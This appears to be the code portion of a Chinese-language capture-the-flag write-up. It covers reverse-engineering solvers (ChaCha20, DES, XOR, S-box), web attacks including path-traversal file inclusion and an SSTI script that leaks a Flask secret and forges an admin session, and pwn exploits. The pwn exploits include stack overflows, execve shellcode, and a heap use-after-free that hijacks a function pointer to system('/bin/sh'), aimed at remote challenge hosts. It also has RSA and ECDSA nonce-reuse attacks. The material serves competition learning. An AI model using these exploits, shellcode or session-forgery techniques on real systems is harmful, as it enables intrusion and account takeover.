1
Class = FindClass(env, "com/cr/myapplication/NativeBridge");
2
RegisterNatives(env, Class, off_57214, 3); // 注册 3 个方法

1
StringUTFChars = GetStringUTFChars(input); // 取输入字符串
2
// build std::string obj(StringUTFChars);
3
// data = obj.c_str(); len = obj.size();
4
sub_257A0(obj_1, data, len); // ★核心变换：返回字节数组
5
sub_27590(obj_2, obj_1); // 把字节数组转成 hex 字符串
6
for (i = 0; i < 8; i++) // sub_27750() 恒返回 8
7
    if (sub_27760(obj_2, &string_array[i])) // 与第 i 个目标串比较
8
        return 1; // 命中任一即通过
9
return 0;

1
sub_25AF0(out, len); // 分配 len 字节输出
2
counter = 1; // ★ 计数器从 1 开始
3
for (i = 0; i < len; i += n) {
4
    sub_26D20(key_ptr, counter++, nonce_ptr, block); // 生成 64 字节 keystream
5
    n = min(64, len - i);
6
    for (j = 0; j < n; j++)
7
        out[i+j] = block[j] ^ data[i+j]; // 明文 XOR keystream
8
}

1
memcpy(state, "expand 32-byte k", 16); // ← ChaCha 魔数
2
state[4..11] = key (32 字节, 小端) // 来自 key_ptr = &unk_F345
3
state[12] = counter
4
state[13..15] = nonce (12 字节, 小端) // 来自 nonce_ptr = &unk_F365
5
for (i = 0; i < 10; i++) { // 10 次双轮 = 20 轮
6
    QR(0,4,8,12); QR(1,5,9,13); QR(2,6,10,14); QR(3,7,11,15); // 列轮
7
    QR(0,5,10,15); QR(1,6,11,12); QR(2,7,8,13); QR(3,4,9,14); // 对角轮
8
}
9
for (j=0;j<16;j++) out[j] = state[j] + init[j];

1
flag = ChaCha20_keystream(counter=1) XOR unhex(target_hex)

1
import struct
2

3
def rotl(x, n):
4
    return ((x << n) & 0xffffffff) | (x >> (32 - n))
5

6
def qr(s, a, b, c, d):
7
    s[a] = (s[a] + s[b]) & 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 16)
8
    s[c] = (s[c] + s[d]) & 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 12)
9
    s[a] = (s[a] + s[b]) & 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 8)
10
    s[c] = (s[c] + s[d]) & 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 7)
11

12
def block(key, counter, nonce):
13
    const = b"expand 32-byte k"
14
    s  = list(struct.unpack('<4I', const))
15
    s += list(struct.unpack('<8I', key))
16
    s += [counter]
17
    s += list(struct.unpack('<3I', nonce))
18
    w = list(s)
19
    for _ in range(10):
20
        qr(w, 0, 4, 8, 12); qr(w, 1, 5, 9, 13); qr(w, 2, 6, 10, 14); qr(w, 3, 7, 11, 15)
21
        qr(w, 0, 5, 10, 15); qr(w, 1, 6, 11, 12); qr(w, 2, 7, 8, 13); qr(w, 3, 4, 9, 14)
22
    out = [(w[i] + s[i]) & 0xffffffff for i in range(16)]
23
    return struct.pack('<16I', *out)
24

25
def chacha20(key, nonce, data, counter=1):
26
    res = bytearray()
27
    ctr = counter
28
    for i in range(0, len(data), 64):
29
        ks = block(key, ctr, nonce)
30
        ctr += 1
31
        res += bytes(c ^ k for c, k in zip(data[i:i+64], ks))
32
    return bytes(res)
33

34
key = bytes([0x14,0x92,0x63,0xa1,0x6f,0x2d,0x89,0xcb,0xf0,0x37,0x5b,0x1c,0xa9,0x4e,0x78,0xd3,
35
             0x22,0x60,0x17,0xee,0x9a,0xbc,0x4d,0x08,0x53,0xe1,0x76,0x2a,0x8d,0xc4,0x90,0x3f])
36
nonce = bytes([0x44,0x33,0x22,0x11,0xab,0xcd,0xef,0x66,0x88,0x99,0xaa,0x55])
37
target_hex = ("d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d19"
38
              "8378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620"
39
              "799d36adc57c")
40

41
flag = chacha20(key, nonce, bytes.fromhex(target_hex), counter=1)
42
print(flag.decode())

1
input = GetStringUTFChars(jstr);
2
len   = strlen(input);
3
ptr   = sub_24440(input, len, &size); // ① PKCS#7 填充
4
ptr_1 = malloc(size);
5
des_ecb_encrypt(ptr, size, "12345678", ptr_1); // ② DES-ECB 加密 → ptr_1
6
bytesToHex(v10, ptr, len_blocks); // ③ 对【ptr】做 hex（注意是明文！）
7
sub_23DC0(v10);
8
for (i = 0; i < 1; i++)
9
    if (sub_24510(&byte_58010[12*i], v10)) // ④ 与目标串比较
10
        v6 = 1; // 通过
11
free(ptr); free(ptr_1);
12
return v6;

1
hex( PKCS7_pad(flag) ) == 目标串

1
h = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"
2
b = bytes.fromhex(h)
3
print(b)
4
pad = b[-1]
5
flag = b[:-pad]
6
print(flag.decode())

1
.\pycdas.exe .\py_obf_10.pyc > py_obf_10.dis

1
import base64
2

3
def decrypt_flag(encoded_data, key):
4
    decoded = base64.b64decode(encoded_data)
5
    return ''.join(chr(b ^ key) for b in decoded)
6

7
def main():
8
    encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
9
    xor_key = 15
10
    user_input = input('请输入flag: ').strip()
11
    correct_flag = decrypt_flag(encoded_flag, xor_key)
12
    if user_input == correct_flag:
13
        print('正确！')
14
        return
15
    print('错误！')
16

17
if __name__ == '__main__':
18
    main()

1
import base64
2
print(''.join(chr(b ^ 15) for b in base64.b64decode('aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly')))

1
sub_1400026F0("Input: ");
2
fgets(Buffer, 64, stdin);
3
n = strlen(Buffer);
4
if (Buffer[n-1] == '\n') { Buffer[n-1] = 0; n--; } // 去掉换行
5
if (n == 38 && sub_140001480(Buffer, 38))
6
    puts("Correct!");
7
else
8
    puts("Wrong!");

1
for (v2 = 0; v2 < 38; v2++) {
2
    if ( byte_140004060[ Buffer[v2] ^ byte_140004048[v2 & 7] ] != byte_140004020[v2] )
3
        return 0; // Wrong
4
}
5
return 1; // Correct

1
input[i] = inv_sbox[ target[i] ] ^ key[i & 7]

1
target = [
2
    0xa3,0x5b,0x4c,0x0a,0x0e,0x98,0x84,0xda,0x14,0xe7,0x0b,0x91,0x53,
3
    0x49,0x4f,0xb6,0xa9,0xac,0x0b,0x49,0x14,0x97,0x4f,0xd5,0xb1,0x96,
4
    0x75,0xf6,0x3b,0xa7,0x84,0xc5,0xa9,0xc9,0x06,0x36,0xc6,0x6c,
5
]
6
key = [0xb9,0xcd,0xce,0x30,0xb8,0x61,0x4e,0xaa]
7
sbox = [
8
    0xc2,0x23,0x97,0x49,0x83,0xf6,0xd3,0xa7,0xeb,0xbf,0x78,0xc3,0x29,0x56,0xd2,0x1a,
9
    0x13,0xbc,0x21,0x6a,0x37,0x8e,0x5f,0x0c,0xb4,0x46,0xde,0xe4,0x6c,0xa2,0x66,0x30,
10
    0x0f,0xa4,0xbb,0x8c,0x09,0x4b,0x3d,0x32,0x42,0x55,0x2d,0x4f,0xf9,0x77,0x1b,0x74,
11
    0x1f,0x71,0x7b,0x9d,0x73,0xc4,0xab,0xd0,0xf3,0xc1,0x88,0x07,0xdc,0xce,0xef,0xc0,
12
    0x72,0x4a,0x27,0x81,0x9b,0xee,0xc7,0x28,0x26,0x5a,0x94,0x54,0x70,0xd1,0xe9,0xc8,
13
    0x98,0x36,0x91,0x41,0xb8,0x3a,0x79,0x0a,0x08,0xe5,0xaf,0x80,0x24,0xae,0x00,0x19,
14
    0xcc,0x7a,0xf7,0x51,0x7d,0x69,0xec,0x03,0x65,0x25,0x1c,0x01,0xf5,0xe6,0xbd,0xd9,
15
    0x59,0xfe,0x92,0xb0,0x10,0x6f,0xf0,0xe3,0x9f,0xad,0x84,0xf4,0xa5,0x33,0x35,0x48,
16
    0x53,0xb1,0xe0,0xd8,0x05,0x38,0x18,0x68,0xa9,0x14,0xc6,0x3f,0x61,0x8a,0x31,0x3b,
17
    0xba,0x2b,0x4e,0xe2,0x57,0x9a,0xf1,0xea,0x64,0x7e,0xa0,0x93,0xb6,0xda,0x60,0x2e,
18
    0x1d,0x5b,0x82,0x34,0x6d,0xfc,0xcf,0x7f,0xe7,0x96,0x67,0x43,0x06,0x44,0xc9,0x4c,
19
    0x40,0xdb,0xfd,0x4d,0xb5,0xed,0x39,0x2c,0xb3,0x17,0x9e,0xcd,0xfa,0x6b,0xca,0x87,
20
    0x8f,0x9c,0x89,0x0e,0x63,0x45,0x86,0xaa,0x5e,0x95,0x16,0xc5,0xd5,0x2f,0xa1,0xf8,
21
    0x99,0xff,0x3c,0x0d,0x3e,0xd4,0x04,0x76,0xd7,0x47,0x20,0x8d,0xdf,0x5c,0x7c,0xa3,
22
    0x1e,0x8b,0x15,0xb9,0xa8,0xcb,0x22,0xa6,0x52,0xd6,0xfb,0x5d,0xdd,0xb2,0x6e,0xe8,
23
    0xf2,0xe1,0x2a,0x58,0x62,0x12,0x11,0x50,0x75,0xb7,0xac,0x90,0x0b,0x85,0x02,0xbe,
24
]
25

26
inv = [0] * 256
27
for i, v in enumerate(sbox):
28
    inv[v] = i
29

30
flag = ''.join(chr(inv[target[i]] ^ key[i & 7]) for i in range(38))
31
print(flag)

1
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
2
$module = str_replace('../', '', $module);
3
include($module);

1
http://47.99.147.34:22508/?module=/flag.txt

1
$decoded = base64_decode($couponData);
2
$promo = @unserialize($decoded);

1
function __destruct() {
2
    if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
3
        $_SESSION['balance'] += intval($this->promo_credit);
4
    }
5
}

1
import re
2
import html
3
import requests
4
from flask import Flask
5
from flask.sessions import SecureCookieSessionInterface
6

7
BASE = "http://120.27.146.76:12426"
8
s = requests.Session()
9

10
# 1. 登录
11
s.post(BASE + "/login", data={"username": "admin", "password": "123456"}, timeout=8)
12
# 2. 创建 profile
13
s.post(BASE + "/api/create_profile", timeout=8)
14
# 3. 提取 profile_id
15
dash = s.get(BASE + "/dashboard", timeout=8).text
16
pid = max(map(int, re.findall(r"/preview/(\d+)", dash)))
17
# 4. 写入 SSTI payload
18
s.post(BASE + "/api/import", json={
19
    "profile_id": pid,
20
    "data": {
21
        "state": "AUDIT_PENDING",
22
        "custom_footer": "{{config}}"
23
    }
24
}, timeout=8)
25
# 5. 读取泄露的真实 SECRET_KEY
26
preview = html.unescape(s.get(f"{BASE}/preview/{pid}", timeout=8).text)
27
secret = re.search(r"'SECRET_KEY': '([^']+)'", preview).group(1)
28
print("[+] SECRET_KEY =", secret)
29
# 6. 伪造高权限 Session
30
app = Flask(__name__)
31
app.secret_key = secret
32
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
33
cookie = serializer.dumps({"user_id": 1, "role": "tax_inspector"})
34
print("[+] forged session =", cookie)
35
# 7. 访问金库获取 flag
36
r = requests.get(BASE + "/admin/vault", cookies={"session": cookie}, timeout=8)
37
flag = re.search(r"flag\{[^}]+\}", r.text).group()
38
print("[+] flag =", flag)

1
import base64
2

3
enc = "p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8"
4
raw = base64.b64decode(enc)
5

6
for key in range(256):
7
    dec = bytes(b ^ key for b in raw)
8
    if dec.startswith(b"flag{"):
9
        print("key =", hex(key), key)
10
        print(dec.decode())
11
        break

1
def lcg_xor_decrypt_embedded() -> bytes:
2
    x = 0x69CB3446
3
    # 提取出的尾部密文字节
4
    cipher = b''.join([
5
        b'\xDC\x5E\xD1\x8A\x38\x28\xBB\xDF\x6C\x7B\x57\x84\x4F\x0E\x9B\x51',
6
        b'\x3A\xDF\xC4\xD9\x63\x0E\xA9\x39\x89\x26\x08\xC8\xB8\xF3\xD2\xBF',
7
        b'\x43\x08\xC7\x7A\x91\xBC\xEB\x4E\x55\xB0\x4F\x62\x59\xE4\xF3\xB6',
8
        b'\x9D\x58\xD7\x4A\x21\x0C\xFB\x1E'
9
    ])
10
    result = bytearray()
11
    for b in cipher:
12
        x = (1664525 * x + 1013904223) & 0xffffffff
13
        key = x & 0xff
14
        result.append(b ^ key)
15
    return bytes(result)
16

17
print(lcg_xor_decrypt_embedded())

1
16vPI4pqYkxFvJHGGgssbbrGLF7Zqg1YN

1
void login() {
2
    char password[0x80];
3
    char username[0x40];
4
    read(0, username, 0x40);
5
    gets(password); // 漏洞点：gets未限制输入长度，直接导致栈溢出
6
}

1
from pwn import *
2

3
HOST = '47.99.147.34'
4
PORT = 27711
5

6
ret = 0x40101a
7
backdoor = 0x4011f6
8
offset = 136
9

10
payload = b'A' * offset + p64(ret) + p64(backdoor)
11

12
io = remote(HOST, PORT)
13
io.sendlineafter(b'Username: ', b'test')
14
io.sendlineafter(b'Password: ', payload)
15
io.sendline(b'cat flag')
16
io.interactive()

1
// 伪代码逻辑
2
printf("Buffer at: %p\n", buf); // 泄露了栈缓冲区地址
3
read(0, buf, 0x100);             // 漏洞点：buf只有0x80字节大小，但允许读入0x100字节，造成栈溢出

1
import re
2
import socket
3
import struct
4
import time
5

6
HOST = "120.27.146.76"
7
PORT = 10406
8
BUF_SIZE = 0x80
9

10
# x86_64 架构下 execve('/bin//sh') 的精简 shellcode
11
SHELLCODE = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")
12

13
def recv_until(sock, marker):
14
    data = b""
15
    while marker not in data:
16
        chunk = sock.recv(4096)
17
        if not chunk: break
18
        data += chunk
19
    return data
20

21
with socket.create_connection((HOST, PORT)) as sock:
22
    banner = recv_until(sock, b"Message: ")
23
    # 正则提取泄露的栈地址
24
    match = re.search(rb"Buffer at: (0x[0-9a-fA-F]+)", banner)
25
    buf_addr = int(match.group(1), 16)
26
    print(f"[+] leaked buf = {buf_addr:#x}")
27

28
    # 构造攻击 payload
29
    payload = b"\x90" * 32 + SHELLCODE
30
    payload = payload.ljust(BUF_SIZE, b"A")
31
    payload += struct.pack("<Q", 0xdeadbeefdeadbeef) # fake RBP
32
    payload += struct.pack("<Q", buf_addr)           # 覆写 RIP 回跳到栈上执行
33

34
    sock.sendall(payload)
35
    time.sleep(0.2)
36
    sock.sendall(b"cat /flag\n")
37

38
    # 打印回显
39
    print(sock.recv(4096).decode('latin1', 'ignore'))

1
from socket import create_connection
2
from struct import pack
3
import time
4

5
host, port = "47.99.147.34", 21314
6
ret = 0x40101a
7
secret_note = 0x401196
8

9
# 填充 72 字节后，依次写入 ret 对齐组件与后门跳转目标
10
payload = b"A" * 72 + pack("<Q", ret) + pack("<Q", secret_note)
11

12
s = create_connection((host, port))
13
s.recv(4096)
14
s.sendall(payload)
15
time.sleep(0.2)
16
s.sendall(b"cat /flag\n")
17
time.sleep(0.2)
18
print(s.recv(4096).decode("latin1", "ignore"))
19
s.close()

1
struct user {
2
    char *name;          // +0x00，指向分配出来的密码/字符串缓冲区
3
    void (*func)(char*); // +0x08，函数指针，注册时默认为 show 函数
4
    long size;           // +0x10，密码缓冲区的最大合法长度
5
};

1
#!/usr/bin/env python3
2
from pwn import *
3
context.update(arch='amd64', os='linux', log_level='debug')
4

5
HOST, PORT = '47.99.147.34', 19588
6
libc = ELF('./libc-2.23.so', checksec=False)
7

8
io = remote(HOST, PORT)
9

10
def choice(n): io.sendlineafter(b'Your choice:', str(n).encode())
11
def register(idx, size, data):
12
    choice(2); io.sendlineafter(b'id:', str(idx).encode()); io.sendlineafter(b'length:', str(size).encode()); io.sendafter(b'password:', data)
13
def login(idx, size, data):
14
    choice(1); io.sendlineafter(b'id:', str(idx).encode()); io.sendlineafter(b'length:', str(size).encode()); io.sendafter(b'password:', data)
15
def delete(idx): choice(3); io.sendlineafter(b'id:', str(idx).encode())
16
def edit(idx, data): choice(4); io.sendlineafter(b'id:', str(idx).encode()); io.sendafter(b'new pass:', data)
17

18
# 1. 构造堆块释放链
19
register(0, 0x80, b'a')
20
register(1, 0x20, b'b')
21
delete(0)
22
delete(1)
23

24
# 2. 堆块复用，使我们可以通过写 user[2] 的密码来直接篡改 user[1] 结构体
25
register(2, 0x18, p8(0x20))
26
register(3, 0x80, b'aaaa')
27

28
# 3. 逐字节爆破盲读泄露 main_arena 残留指针
29
leak_data = b''
30
start_offset = 0x1d
31
for idx in range(1, 7):
32
    edit(2, p8(start_offset))
33
    for byte_val in range(0x100):
34
        guess = p8(byte_val) + leak_data
35
        login(1, idx, guess)
36
        if b'success' in io.recvuntil(b'\n'):
37
            leak_data = p8(byte_val) + leak_data
38
            break
39
    start_offset -= 1
40

41
libc_leak = u64(leak_data.ljust(8, b'\x00'))
42
libc_base = libc_leak - 0x3c4b78 # 2.23环境下偏置
43
system_addr = libc_base + libc.symbols['system']
44

45
# 4. 精确劫持改写悬空结构体内的函数指针
46
edit(2, p8(0xa8)) # 让其指向users[0]->func
47
edit(1, p64(system_addr))
48

49
# 5. 垫入参数，触发拿 shell
50
edit(0, b'/bin/sh\x00')
51
login(0, len(b'/bin/sh\x00'), b'/bin/sh\x00')
52
io.interactive()

1
from gmpy2 import iroot
2
from Crypto.Util.number import long_to_bytes
3

4
n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
5
e = 3
6
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669
7

8
k = 0
9
while True:
10
    res = iroot(k * n + c, e)
11
    if res[1]: # 如果完美开方
12
        print("[+] Found Flag:")
13
        print(long_to_bytes(res[0]).decode())
14
        break
15
    k += 1

1
from Crypto.Util.number import long_to_bytes
2
from sage.all import *
3

4
e = 3
5
# 填入题目给定的 3 组参数
6
n1 = ...; a1 = ...; b1 = ...; c1 = ...
7
n2 = ...; a2 = ...; b2 = ...; c2 = ...
8
n3 = ...; a3 = ...; b3 = ...; c3 = ...
9

10
N = n1 * n2 * n3
11
N1, N2, N3 = N // n1, N // n2, N // n3
12
t1, t2, t3 = inverse_mod(N1, n1), inverse_mod(N2, n2), inverse_mod(N3, n3)
13

14
PR.<x> = PolynomialRing(Zmod(N))
15
# CRT 多项式组合拼接
16
F = (
17
    ((a1*x + b1)^3 - c1) * N1 * t1 +
18
    ((a2*x + b2)^3 - c2) * N2 * t2 +
19
    ((a3*x + b3)^3 - c3) * N3 * t3
20
)
21
F = F.monic()
22

23
# 运用 Coppersmith 方法寻找小根
24
roots = F.small_roots(X=2^350, beta=1.0, epsilon=1/20)
25
if roots:
26
    print(long_to_bytes(int(roots[0])))

1
import json
2
import hashlib
3

4
# secp256k1 标准曲线参数
5
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
6
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
7

8
def inv(a, m): return pow(a % m, -1, m)
9

10
with open("challenge.json", "r", encoding="utf-8") as f:
11
    c = json.load(f)
12

13
# 计算两份公开明文的哈希摘要值
14
z1 = int.from_bytes(hashlib.sha256(bytes.fromhex(c["message1"])).digest(), "big")
15
z2 = int.from_bytes(hashlib.sha256(bytes.fromhex(c["message2"])).digest(), "big")
16

17
r = int(c["signature1_r"])
18
s1 = int(c["signature1_s"])
19
s2 = int(c["signature2_s"])
20

21
# 数论倒数及乘法计算恢复私钥
22
k = ((z1 - z2) * inv(s1 - s2, n)) % n
23
d = ((s1 * k - z1) * inv(r, n)) % n
24

25
private_hex = format(d, "064x")
26
print("flag{ecdsa_nonce_reuse_" + private_hex[:32] + "}")